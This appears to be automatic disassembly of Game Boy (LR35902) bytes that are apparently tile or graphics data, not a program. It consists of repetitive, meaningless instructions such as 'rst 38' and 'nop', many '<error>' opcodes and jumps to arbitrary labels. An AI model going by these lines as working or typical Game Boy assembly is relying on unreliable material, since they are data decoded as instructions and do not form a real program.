ld e, $fc
inc a
ldhl sp, d
add sp, d
sub a, h
<error>
ld a, [de]
<error>
nop
rst 38
nop
add a, b
ccf
add a, e
ccf
add a, d
ccf
cp [hl]
ccf
and d
ccf
and d
ccf
and d
ccf
rst 38
ccf
ld hl, $e1ff
rst 38
ld hl, $21ff
rst 38
ld hl, $21e1
rst 38
ccf
ld a, $a2
ccf
and e
inc hl
and e
ccf
cp a
ccf
cp a
ccf
add a, b
nop
add a, b
nop
rst 38
ccf
ccf
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
cp $01
nop
ld bc, $ff00
or l
sub a, [hl]
<error>
rst 28
inc c
dec bc
ld c, $09
dec sp
inc a
ld b, a
ld b, h
cp l
sbc a, [hl]
and e
cp [hl]
xor l
ld l, c
scf
rst 30
jr nc, 0.l_69a6
ld [hl], b
sub a, b
call c, func_e23c
ldi [hl], a
cp l
ld a, c
call func_a77d
cp d
and l
cp e
and e
cp h
rst 18
sbc a, a
and b
ret nz
add a, b
rst 38
ld b, b
ld a, a
ccf
ccf
push hl
ld e, l
and l
<error>
push bc
dec a
ei
ld sp, hl
dec b
inc bc
ld bc, $02ff
cp $fc
<error>
inc a
nop
ld b, [hl]
nop
ldh [c], a
nop
<error>
nop
ld a, [$f800]
nop
<error>
nop
ld a, l
nop
nop
nop
ld [hl], e
nop
rst 8
nop
cp a
nop
ld a, a
nop
rst 38
nop
rst 38
nop
rst 38
nop
ld a, e
nop
ld [hl], a
nop
scf
nop
cpl
nop
cpl
nop
rr a
nop
sbc a, a
nop
sbc a, a
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
cp $00
cp $00
cp $00
ld a, a
nop
rst 38
nop
rst 38
nop
rst 38
nop
<error>
nop
di
nop
rst 28
nop
rst 18
nop
jp $f900
nop
<error>
nop
cp $00
ld a, $00
cp [hl]
nop
cp a
nop
cp a
nop
cp a
nop
cp a
nop
ld a, a
nop
ld a, a
nop
ld a, [hl]
nop
cp $00
cp $00
<error>
nop
ld a, a
nop
ld a, a
nop
ld a, a
nop
ld a, a
nop
rst 38
nop
ld a, a
nop
ld a, $00
ld a, $00
ccf
nop
cp a
nop
cp a
nop
ld a, a
nop
ld a, a
nop
ld a, a
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
ldhl sp, d
nop
ldh a, [$ff00 + $00]
ldh a, [$ff00 + $00]
pop af
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
cp $00
<error>
nop
ld sp, hl
nop
pop hl
nop
sbc a, [hl]
nop
ld a, [$f200]
nop
ld [$f900], a
nop
di
nop
rst 20
nop
rst 28
nop
rst 8
nop
inc a
nop
inc a
nop
ld a, b
nop
ldhl sp, d
nop
<error>
nop
<error>
nop
cp $00
cp $00
rst 18
nop
sbc a, a
nop
ld e, [hl]
nop
ld e, c
nop
ld b, c
nop
inc sp
nop
sbc a, [hl]
nop
ret nz
nop
cp $00
cp [hl]
nop
ccf
nop
ld e, a
nop
ld c, a
nop
ld c, [hl]
nop
ld h, d
nop
inc a
nop
add a, e
nop
inc hl
nop
nop
nop
nop
nop
jr nc, 0.l_6b0a
jr nc, 0.l_6b0c
ld bc, $0100
nop
rlc a
nop
ld c, $00
inc e
nop
ld e, b
nop
jr 0.l_6b1a
jr 0.l_6b1c
sbc a, b
nop
sbc a, c
nop
ld b, b
nop
nop
nop
nop
nop
ccf
nop
ld a, a
nop
ldh [$ff00 + $00], a
jp nz, .l_8000
nop
jr c, 0.l_6b32
ld [hl], b
nop
ldh [$ff00 + $00], a
ret nz
nop
adc a, h
nop
inc c
nop
ld bc, $0300
nop
nop
nop
nop
nop
nop
nop
rlc a
rlc a
inc c
ld [$101b], sp
rl a
stop
rl a
stop
nop
nop
nop
nop
nop
nop
ldh [$ff00 + $e0], a
jr nc, 0.l_6b6a
ret c
ld [$08e8], sp
add sp, d
ld [$1017], sp
dec de
stop
inc d
jr 0.l_6b6f
rrc a
rlc a
rlc a
nop
nop
nop
nop
nop
nop
add sp, d
ld [$08d8], sp
jr z, 0.l_6b8e
stop
ldh a, [$ff00 + $e0]
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
nop
nop
ccf
nop
ld a, a
nop
ld a, a
nop
ld a, [hl]
ld bc, $027c
ld a, c
inc b
inc bc
ld a, b
nop
nop
ld a, h
nop
ld a, [hl]
nop
ld a, [hl]
nop
ld e, $60
ld c, $10
ldh [$ff00 + $0e], a
ldh a, [$ff00 + $00]
inc bc
nop
ld a, c
ld [bc], a
ld a, h
ld bc, $007e
ld a, [hl]
nop
ld a, $40
nop
ld a, $00
nop
and $10
adc a, $20
ld e, $c0
ld a, $00
cp $00
<error>
ld [bc], a
nop
<error>
nop
nop
nop
ld bc, $0102
adc a, h
inc bc
ld d, d
adc a, l
ld l, c
sub a, b
adc a, c
ld [hl], b
ld [hl], $49
jr z, 0.l_6c17
rlc a
nop
adc a, b
rlc a
sub a, b
inc c
ret nc
ld [$8870], sp
nop
ldhl sp, d
ld l, b
sub a, b
xor c
stop
ld b, l
ldi [hl], a
ld b, l
ldi [hl], a
ld e, l
ldi [hl], a
ld b, b
ccf
rr a
ld h, b
and c
ld b, b
add a, c
ld b, b
ld [bc], a
add a, c
xor h
stop
ld b, [hl]
jr c, 0.l_6b8e
ld h, [hl]
jr nz, 0.l_6bb8
ld b, b
add a, b
ld b, [hl]
add a, b
ld b, [hl]
add a, b
add a, b
nop
nop
nop
ld a, a
nop
ld a, b
ccf
ld a, h
ccf
ld e, [hl]
ccf
ld c, a
ccf
ld b, a
ccf
ld b, a
ccf
nop
nop
cp $00
ld e, $fc
ld a, $fc
ld a, d
<error>
<error>
<error>
ldh [c], a
<error>
ldh [c], a
<error>
ld b, a
ccf
ld b, a
ccf
ld c, a
ccf
ld e, [hl]
ccf
ld a, h
ccf
ld a, b
ccf
ld a, a
nop
nop
nop
ldh [c], a
<error>
ldh [c], a
<error>
<error>
<error>
ld a, d
<error>
ld a, $fc
ld e, $fc
cp $00
nop
nop
ld h, $1d
inc [hl]
rrc a
rst 10
rrc a
ld l, [hl]
add a, l
ld d, $e5
cp $f9
dec b
ldhl sp, d
ld [bc], a
<error>
ld h, h
cp b
ld l, h
or b
<error>
ldh a, [$ff00 + $76]
and c
ld l, b
and a
ld a, a
sbc a, a
cp [hl]
dec b
ld b, h
ccf
ld [bc], a
<error>
push af
ld [$f9fe], sp
ld d, $e5
ld l, [hl]
add a, l
sub a, $0d
ld [hl], $0d
inc h
rr a
ld b, h
ccf
cp a
inc b
ld a, a
sbc a, a
ld l, b
and a
halt
and c
ld l, e
or b
ld l, h
or b
inc h
ldhl sp, d
nop
nop
cp a
ld h, b
ldd [hl], a
<error>
jr nz, 0.l_6c87
jr nz, 0.l_6c89
rst 38
rst 38
rst 30
inc c
inc b
rst 38
rst 38
rst 38
rst 38
rst 38
inc b
rst 38
rst 38
rst 38
jr nz, 0.l_6c99
cp a
ld h, b
rst 38
rst 38
inc b
rst 38
ld b, [hl]
dec a
ld h, [hl]
dec e
ld b, a
ccf
ld b, h
ccf
ld h, [hl]
dec e
ld a, [hl]
ld a, l
ld b, $7d
ld b, [hl]
dec a
ld l, e
rst 18
ld l, e
rst 18
rst 28
rst 18
ld l, e
rst 18
ld l, e
rst 18
ld a, e
rst 38
ld c, e
rst 38
ld l, e
rst 18
add a, c
nop
cp $81
sub a, d
<error>
add a, b
rst 38
<error>
rst 38
rst 38
rst 38
rst 38
inc a
inc a
rst 18
rst 38
rst 38
rst 38
rst 38
rst 0
rst 38
rst 38
rst 38
and $df
rst 38
ld h, h
rst 38
rst 38
inc a
rst 38
cp $7d
ld c, [hl]
dec a
ld c, a
ld a, $67
rr a
ld b, a
ccf
ld b, a
ccf
ld l, [hl]
dec e
adc a, [hl]
ld a, l
ld l, a
rst 18
ld a, a
rst 18
rst 38
rst 38
<error>
rst 18
<error>
rst 18
ei
rst 28
ld a, a
rst 38
ld a, a
rst 18
call nz, func_ffff
rst 38
rst 38
ldh a, [$ff00 + $70]
rst 38
ld a, a
rst 18
ld l, h
rst 18
ld l, a
rst 18
ld l, e
rst 18
rlc a
rst 38
rst 38
rst 38
rst 38
rrc a
ld c, $ff
cp $fb
ld [hl], $fb
or $fb
sub a, $fb
ld l, e
rst 18
ld l, e
rst 18
ld l, [hl]
rst 18
ld l, a
rst 18
ld a, b
rst 18
ld a, a
ldh a, [$ff00 + $ff]
rst 38
call nz, func_d6ff
ei
sub a, $fb
halt
ei
or $fb
ld e, $fb
cp $0f
rst 38
rst 38
rlc a
rst 38
ld l, e
ld e, a
xor e
rst 18
rr a
dec de
rst 28
ei
rst 30
rlc a
ei
rst 38
rst 38
rst 38
rst 38
sub a, $fa
push de
ei
<error>
ldhl sp, d
ret c
rst 30
rst 18
rst 28
ldh [$ff00 + $df], a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rlc a
ei
ei
rst 30
dec de
rst 28
rr a
xor e
rst 18
ld l, e
ld e, a
rst 38
rst 38
rst 38
rst 38
ldh [$ff00 + $df], a
rst 18
rst 28
ret c
rst 30
<error>
ldhl sp, d
push de
ei
sub a, $fa
inc b
rst 38
rst 38
rst 38
cp a
ld h, b
jr nz, 0.l_6d87
rst 38
rst 38
inc b
rst 38
rst 38
rst 38
rst 38
rst 38
inc b
rst 38
rst 30
inc c
rst 38
rst 38
jr nz, 0.l_6d97
jr nz, 0.l_6d99
ldd [hl], a
<error>
cp a
ld h, b
nop
nop
sub a, $fb
sub a, $fb
rst 30
ei
sub a, $fb
sub a, $fb
sbc a, $ff
jp nc, $d6ff
ei
ld h, d
cp h
ld h, [hl]
cp b
ldh [c], a
<error>
ldi [hl], a
<error>
ld h, [hl]
cp b
ld a, [hl]
cp [hl]
ld h, b
cp [hl]
ld h, d
cp h
inc a
rst 38
rst 38
rst 38
rst 38
ld h, h
and $df
rst 38
rst 38
rst 0
rst 38
rst 38
rst 38
rst 38
rst 38
inc a
rst 18
rst 38
inc a
rst 38
rst 38
<error>
rst 38
add a, b
rst 38
sub a, d
<error>
cp $81
add a, c
nop
or $fb
cp $fb
rst 38
rst 38
rst 10
ei
rst 10
ei
rst 18
rst 30
cp $ff
cp $fb
ld [hl], c
cp [hl]
halt
cp b
ldh [c], a
<error>
ldh [c], a
<error>
and $f8
<error>
ld a, h
ld [hl], d
cp h
ld a, a
cp [hl]
nop
nop
rr a
nop
inc l
rr a
ld e, a
ccf
ld a, h
ccf
ld e, [hl]
ccf
ld d, a
ccf
ld d, e
ccf
nop
nop
ldhl sp, d
nop
inc [hl]
ldhl sp, d
ld a, [$3efc]
<error>
ld a, d
<error>
ld [$cafc], a
<error>
ld d, e
ccf
ld d, a
ccf
ld e, [hl]
ccf
ld a, h
ccf
ld e, a
ccf
inc l
rr a
rr a
nop
nop
nop
jp z, .l_eafc
<error>
ld a, d
<error>
ld a, $fc
ld a, [$34fc]
ldhl sp, d
ldhl sp, d
nop
nop
nop
add hl, sp
rl a
add hl, bc
rl a
add a, e
ld c, $8b
add a, $d7
ldi [hl], a
dec bc
pop af
dec a
ld sp, hl
rst 38
add a, $9c
add sp, d
sub a, b
add sp, d
pop bc
ld [hl], b
pop de
ld h, e
<error>
ld b, h
ret nc
adc a, a
cp h
sbc a, a
rst 38
ld h, e
rst 38
add a, $3d
ld sp, hl
dec bc
pop af
rst 10
ldi [hl], a
adc a, e
add a, $83
ld c, $09
rl a
add hl, sp
rl a
rst 38
ld h, e
cp h
sbc a, a
ret nc
adc a, a
<error>
ld b, h
pop de
ld h, e
pop bc
ld [hl], b
sub a, b
add sp, d
sbc a, h
add sp, d
nop
nop
cp l
ld a, [hl]
ld h, [hl]
jp .l_81c3
jp .l_003c
rst 38
inc a
rst 38
ld h, [hl]
rst 38
rst 38
rst 38
inc a
rst 38
add a, c
rst 38
<error>
rst 20
inc a
rst 38
add a, c
ld a, [hl]
ld h, [hl]
sbc a, c
and l
jp .l_3758
add hl, sp
ld h, a
ld h, e
ld c, a
ld b, d
ld c, a
ld b, d
ld c, a
ld h, e
ld c, a
add hl, sp
ld h, a
ld e, b
scf
xor l
rst 18
ld c, c
cp a
<error>
ccf
dec de
ld [hl], a
dec de
ld [hl], a
<error>
ccf
ld c, c
cp a
xor l
rst 18
nop
nop
cp l
ld a, [hl]
ld h, [hl]
jp .l_c383
jp .l_c7ff
ld a, [hl]
ld l, [hl]
<error>
ld a, a
rst 38
rst 38
rst 38
cp e
rst 38
add a, e
rst 38
rst 38
rst 0
<error>
rst 38
jr nc, 0.l_6edb
ld sp, hl
ld [hl], $ff
ld sp, hl
ld e, h
dec sp
cpl
ld a, a
ld h, e
ld c, a
ld b, c
ld c, a
ld b, e
ld c, a
ld h, a
ld c, a
ccf
ld a, l
ld e, l
dec sp
rst 18
cp a
reti
cp a
ei
rst 30
ei
rst 30
<error>
or a
sbc a, c
ld a, a
adc a, a
ld a, a
rst 8
cp a
rst 0
pop hl
pop hl
cp $70
rst 38
jr c, 0.l_6f87
inc e
ld a, a
adc a, a
ld a, a
add a, a
ld a, a
rst 0
cp a
<error>
add a, a
add a, a
ld a, a
ld c, $ff
inc e
cp $38
cp $f1
cp $e1
cp $e3
<error>
rst 0
cp a
add a, a
ld a, a
adc a, a
ld a, a
inc e
ld a, a
jr c, 0.l_6fa9
ld [hl], b
rst 38
pop hl
cp $c7
pop hl
<error>
<error>
pop hl
cp $f1
cp $38
cp $1c
cp $0e
rst 38
add a, a
ld a, a
<error>
add a, a
ld c, l
cp a
adc a, c
ccf
dec hl
rst 18
dec de
rst 28
ei
rst 30
add a, a
ei
ccf
rst 38
rst 38
rst 38
or d
<error>
sub a, c
<error>
call nc, func_d8fb
rst 30
rst 18
rst 28
pop hl
rst 18
<error>
rst 38
rst 38
rst 38
rst 38
rst 38
ccf
rst 38
add a, a
ei
ei
rst 30
dec de
rst 28
dec hl
rst 18
adc a, c
ccf
ld c, l
cp a
rst 38
rst 38
<error>
rst 38
pop hl
rst 18
rst 18
rst 28
ret c
rst 30
call nc, func_91fb
<error>
or d
<error>
and l
jp .l_9966
add a, c
ld a, [hl]
inc a
rst 38
<error>
rst 20
add a, c
rst 38
inc a
rst 38
rst 38
rst 38
ld h, [hl]
rst 38
inc a
rst 38
nop
rst 38
jp .l_c33c
add a, c
ld h, [hl]
jp .l_7ebd
nop
nop
or l
ei
sub a, d
<error>
set 7, h
ret c
xor $d8
xor $cb
<error>
sub a, d
<error>
or l
ei
ld a, [de]
<error>
sbc a, h
and $c6
<error>
ld b, d
<error>
ld b, d
<error>
add a, $f2
sbc a, h
and $1a
<error>
rst 38
ld sp, hl
ld sp, hl
ld [hl], $30
rst 38
<error>
rst 38
rst 38
rst 0
add a, e
rst 38
cp e
rst 38
rst 38
rst 38
ld a, a
rst 38
ld l, [hl]
<error>
rst 0
ld a, [hl]
jp .l_83ff
jp .l_c366
cp l
ld a, [hl]
nop
nop
ei
<error>
sbc a, e
<error>
rst 18
rst 28
rst 18
rst 28
<error>
<error>
sbc a, c
cp $f1
cp $f3
<error>
ldd a, [hl]
call c, func_fef4
add a, $f2
add a, d
<error>
jp nz, .l_e6f2
<error>
<error>
cp [hl]
cp d
call c, func_00ff
rlc a
ldhl sp, d
nop
rst 38
ld a, h
rst 38
rst 0
rst 38
add hl, sp
rst 0
cp $01
rst 18
jr nz, 0.l_7010
nop
<error>
inc bc
ld h, b
sbc a, a
nop
rst 38
rlc a
rst 38
call c, func_73ff
<error>
rrc a
ldh a, [$ff00 + $9f]
ldh [$ff00 + $99], a
and $cc
di
call nz, func_d0f3
rst 20
xor [hl]
pop bc
xor e
call nz, func_c0bf
<error>
inc bc
rst 30
rrc a
cpl
reti
ld [hl], a
sbc a, c
ld d, c
sbc a, a
ld c, c
sbc a, a
rst 10
rrc a
jp [hl]
rlc a
rrc a
rst 38
inc sp
<error>
ld d, b
ldh [$ff00 + $a0], a
ret nz
and e
ret nz
<error>
ldh [$ff00 + $cf], a
ldh a, [$ff00 + $8f]
ldh a, [$ff00 + $f8]
rst 38
inc d
rrc a
ld a, [bc]
rlc a
dec b
inc bc
dec b
inc bc
ei
rlc a
<error>
rr a
pop af
rrc a
rst 38
rst 38
di
<error>
ret c
ldh [$ff00 + $b0], a
ret nz
cp a
ret nz
rst 18
ldh [$ff00 + $c3], a
<error>
adc a, a
ldh a, [$ff00 + $ff]
rst 38
rl a
rrc a
dec bc
rlc a
dec b
inc bc
dec e
inc bc
ei
rlc a
<error>
rr a
pop af
rrc a
rst 38
rst 38
pop bc
rst 38
add a, b
rst 38
add a, h
rst 38
add a, b
rst 38
sub a, b
rst 38
add a, $ff
rst 38
rst 38
rst 38
rst 38
add a, e
rst 38
ld bc, $09ff
rst 38
ld bc, $01ff
rst 38
inc de
rst 38
rst 38
rst 38
rst 38
rst 38
pop bc
add a, b
cp a
sbc a, h
or a
sub a, a
or b
sub a, b
cp a
sbc a, a
cp l
jp $ffff
rst 38
rst 38
pop hl
inc bc
cp a
add hl, sp
rst 28
jp [hl]
rrc a
add hl, bc
rst 38
ld sp, hl
<error>
add a, e
rst 38
rst 38
di
di
ldh a, [$ff00 + $f0]
rst 38
ldh a, [$ff00 + $f7]
ldhl sp, d
<error>
rst 38
rst 38
<error>
<error>
cp $ff
rst 38
rst 8
rst 8
rrc a
rrc a
rst 38
rrc a
rst 28
rr a
ccf
rst 38
rst 38
ccf
cp a
ld a, a
rst 38
rst 38
rst 38
rst 38
ret nz
add a, b
cp a
add a, b
xor a
add a, b
cp a
add a, b
cp a
add a, b
cp h
jp $ffff
rst 38
rst 38
pop hl
inc bc
rr a
ld bc, $01ff
rst 38
ld bc, $09f7
ld a, l
add a, e
rst 38
rst 38
rst 38
nop
<error>
inc e
add a, c
ld a, [hl]
nop
rst 38
inc a
rst 38
<error>
rst 38
sbc a, b
rst 20
ld a, a
add a, b
rst 38
nop
<error>
inc e
pop bc
ld a, $00
rst 38
inc a
rst 38
jp .l_18ff
rst 20
cp $01
sbc a, a
ldh [$ff00 + $ef], a
ldh a, [$ff00 + $b4]
sbc a, e
xor $99
adc a, [hl]
ld sp, hl
sub a, d
ld sp, hl
<error>
ldh a, [$ff00 + $97]
ldh [$ff00 + $f9], a
rlc a
add hl, sp
rst 0
inc sp
rst 8
inc de
rst 8
dec bc
rst 20
ld [hl], l
add a, e
<error>
inc hl
<error>
inc bc
adc a, e
<error>
or h
rst 8
cp e
rst 0
ld e, c
rst 20
ldi [hl], a
rst 38
inc e
rst 38
nop
rst 38
nop
rst 38
rst 18
ccf
ld sp, $cdff
di
sbc a, l
<error>
ld e, l
<error>
dec l
di
ld [de], a
rst 38
inc c
rst 38
adc a, e
<error>
or h
rst 8
cp e
rst 0
reti
rst 20
<error>
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 18
ccf
ld sp, $cdff
di
sbc a, l
<error>
<error>
<error>
<error>
di
di
rst 38
rst 38
rst 38
rst 38
rst 38
jp .l_01ff
rst 38
ld de, $01ff
rst 38
ld bc, $63ff
rst 38
rst 38
rst 38
rst 38
rst 38
ret nz
rst 38
add a, d
rst 38
add a, b
rst 38
add a, c
rst 38
sub a, b
rst 38
ret nz
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 30
rst 28
rst 38
ldh [$ff00 + $e0], a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 28
rst 30
rst 38
rlc a
rlc a
rst 38
rst 38
rst 38
rst 38
rst 38
jr 0.l_71c1
jr 0.l_71c3
ccf
ret nz
rl a
add sp, d
ccf
ret nz
ccf
rst 38
jr 0.l_71cd
jr 0.l_71cf
jr 0.l_71d1
jr 0.l_71d3
<error>
inc bc
add sp, d
rl a
<error>
inc bc
<error>
rst 38
jr 0.l_71dd
jr 0.l_71df
rst 38
rst 38
pop hl
inc bc
rr a
ld bc, $01ff
rst 38
ld bc, $09f7
ld a, l
add a, e
rst 38
rst 38
rst 38
rst 38
ret nz
add a, b
cp a
add a, b
xor a
add a, b
cp a
add a, b
cp a
add a, b
cp h
jp $ffff
rst 38
rst 38
sub a, b
and e
add a, l
and d
add a, l
and d
add a, l
and d
add a, l
and d
call c, func_ffa3
rst 38
rst 38
rst 38
inc bc
ld bc, $0103
scf
ld bc, $010b
rl a
ld bc, $03fd
rst 38
rst 38
rst 38
rst 38
cp $81
ret nz
cp a
ret z
cp a
ldh [$ff00 + $bf], a
ret z
cp a
add a, b
rst 38
rst 38
rst 38
rst 38
rst 38
<error>
push hl
ld h, a
<error>
ld h, a
<error>
ld h, a
<error>
ld h, a
<error>
rst 0
<error>
rst 38
rst 38
jr nc, 0.l_7281
ld d, b
ld a, a
sbc a, b
rst 38
adc a, c
rst 38
adc a, a
rst 38
adc a, c
rst 38
sub a, b
rst 38
ld d, b
ld a, a
rst 38
rst 38
pop bc
rst 38
add a, b
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
add a, c
rst 38
pop bc
rst 38
rst 38
rst 38
add a, e
rst 38
ld bc, $00ff
rst 38
nop
rst 38
nop
rst 38
add a, c
rst 38
add a, e
rst 38
inc c
<error>
ld a, [bc]
cp $19
rst 38
sub a, c
rst 38
pop af
rst 38
sub a, c
rst 38
add hl, bc
rst 38
ld a, [bc]
cp $00
rst 38
ld bc, $31fe
adc a, $20
rst 8
jr z, 0.l_7251
dec d
ldh [c], a
ld [$07f1], sp
ldhl sp, d
nop
rst 38
add a, b
ld a, a
inc c
ld [hl], e
sub a, h
ld h, e
jr z, 0.l_7261
stop
rrc a
ld h, [hl]
sbc a, c
adc a, d
ld [hl], c
rst 38
nop
rst 38
nop
rst 38
nop
cp $00
<error>
nop
<error>
nop
ldhl sp, d
nop
ldhl sp, d
nop
<error>
nop
ldh [$ff00 + $00], a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ccf
nop
rrc a
nop
rlc a
nop
rlc a
nop
inc bc
nop
inc bc
nop
nop
nop
nop
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rr a
nop
rlc a
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
rst 38
sbc a, b
add a, b
add a, b
sub a, b
add a, b
sub a, b
add a, b
sub a, b
add a, b
sub a, b
xor b
sub a, b
rst 38
rst 38
rst 38
rst 38
and a
ld b, b
nop
ld b, b
add a, a
ld b, b
adc a, a
ld b, b
add a, a
ld b, b
cp a
ld b, b
rst 38
rst 38
rst 38
rst 38
ld a, [$a607]
ld e, e
jp .l_a33e
ld e, [hl]
<error>
ld e, $83
ld a, [hl]
rst 38
rst 38
rst 38
rst 38
call func_0d3b
ei
add hl, de
rst 38
add hl, bc
rst 38
ld c, c
rst 38
add hl, bc
rst 38
rst 38
rst 38
jr nc, 0.l_7381
ld d, b
ld a, a
sbc a, b
rst 38
adc a, c
rst 38
adc a, a
rst 38
adc a, c
rst 38
sub a, b
rst 38
ret nc
rst 38
rst 38
rst 38
pop bc
rst 38
add a, b
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
add a, c
rst 38
pop bc
rst 38
rst 38
rst 38
add a, e
rst 38
ld bc, $00ff
rst 38
nop
rst 38
nop
rst 38
add a, c
rst 38
add a, e
rst 38
inc c
<error>
ld a, [bc]
cp $19
rst 38
sub a, c
rst 38
pop af
rst 38
sub a, c
rst 38
add hl, bc
rst 38
ld a, [bc]
cp $00
rst 38
ld b, b
sbc a, [hl]
ld h, c
adc a, [hl]
ldd [hl], a
pop bc
ld e, $e1
nop
rst 38
ld [bc], a
<error>
inc b
ldhl sp, d
inc d
<error>
cp b
ld b, a
ldh a, [$ff00 + $0f]
jp nz, .l_1239
pop hl
<error>
inc bc
nop
rst 38
ret nz
ccf
ldhl sp, d
nop
ret nz
nop
add a, b
nop
add a, b
nop
add a, b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc bc
nop
ld bc, $0100
nop
ld bc, $0000
nop
nop
nop
nop
nop
nop
nop
cp $00
<error>
nop
<error>
nop
ldhl sp, d
nop
ldhl sp, d
nop
ret nz
nop
add a, b
nop
nop
nop
rr a
nop
rrc a
nop
rrc a
nop
rlc a
nop
inc bc
nop
inc bc
nop
ld bc, $0000
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jr c, 0.l_741e
ld a, [hl]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
adc a, $31
adc a, $31
rst 8
jr nc, 0.l_7415
ld sp, $718e
adc a, [hl]
ld [hl], c
adc a, a
ld [hl], b
rst 8
jr nc, 0.l_741e
ccf
ret
ccf
ret z
ccf
ld c, h
cp a
inc b
rst 38
inc b
rst 38
call nz, func_cc3f
ccf
rst 38
rst 38
nop
nop
rst 38
nop
rst 38
rst 38
inc de
ld e, $12
rr a
add hl, bc
rrc a
dec b
ld b, $ff
rst 38
ld bc, $ff01
ld bc, $ffff
ret z
ld a, b
ld c, b
ldhl sp, d
sub a, b
ldh a, [$ff00 + $a0]
ld h, b
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 18
cp a
rst 18
cp a
xor a
rst 18
rst 28
rst 18
ld b, a
rst 38
ld b, a
rst 38
ld h, e
rst 38
inc sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ld sp, $37ff
rst 38
scf
rst 38
scf
rst 38
and e
rst 38
and e
rst 38
inc sp
rst 38
inc sp
rst 38
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
add a, b
rst 38
ret nz
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ei
<error>
ei
<error>
push af
ei
rst 30
ei
ldh [c], a
rst 38
ldh [c], a
rst 38
add a, $ff
call z, func_00ff
nop
ld bc, $0700
nop
ccf
nop
ld a, a
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
nop
nop
ldh a, [$ff00 + $00]
ld sp, hl
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
nop
nop
ld [hl], b
nop
ldhl sp, d
nop
cp $00
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 0
jr c, 0.l_74d2
ld [hl], b
inc e
ldh [$ff00 + $58], a
ldh [$ff00 + $58], a
ldh [$ff00 + $d8], a
ldh [$ff00 + $cc], a
ldh a, [$ff00 + $e7]
ldhl sp, d
adc a, [hl]
ld a, a
adc a, $3f
rst 0
ccf
ld h, e
rr a
ld h, e
rr a
ld h, e
rr a
rst 0
ccf
add a, a
ld a, a
dec b
ld b, $05
ld b, $05
ld b, $ff
rst 38
add a, b
add a, b
cp a
add a, b
sbc a, h
<error>
rst 38
rst 38
and b
ld h, b
and b
ld h, b
and b
ld h, b
rst 38
rst 38
ld bc, $f701
add hl, bc
ld a, l
add a, e
rst 38
rst 38
rst 30
ld [$18e7], sp
call func_c932
ld [hl], $89
halt
add a, c
ld a, [hl]
add a, b
ld a, a
nop
rst 38
ld a, a
add a, b
ccf
ret nz
dec sp
call nz, func_e41b
add hl, de
and $09
or $01
cp $00
rst 38
ccf
rst 38
ld l, e
rst 30
ld e, c
rst 20
cp c
rst 0
cp e
rst 0
or d
rst 8
and [hl]
rst 18
and a
rst 18
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
inc e
rst 38
halt
adc a, a
ld a, e
add a, a
dec a
jp .l_f18e
adc a, [hl]
pop af
add a, $f9
ldh a, [$ff00 + $ff]
ld a, a
ldh [$ff00 + $9f], a
ld [hl], b
ld c, a
cp b
and a
call c, func_ccb7
push de
xor $c7
cp $c7
cp $ff
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
<error>
rst 38
sub a, $ef
sbc a, d
rst 20
sbc a, l
<error>
<error>
<error>
ld c, l
di
ld h, l
ei
push hl
ei
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
ld bc, $03ff
adc a, l
cp $cd
cp $cd
cp $cd
cp $85
cp $85
cp $8d
cp $8d
cp $ff
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
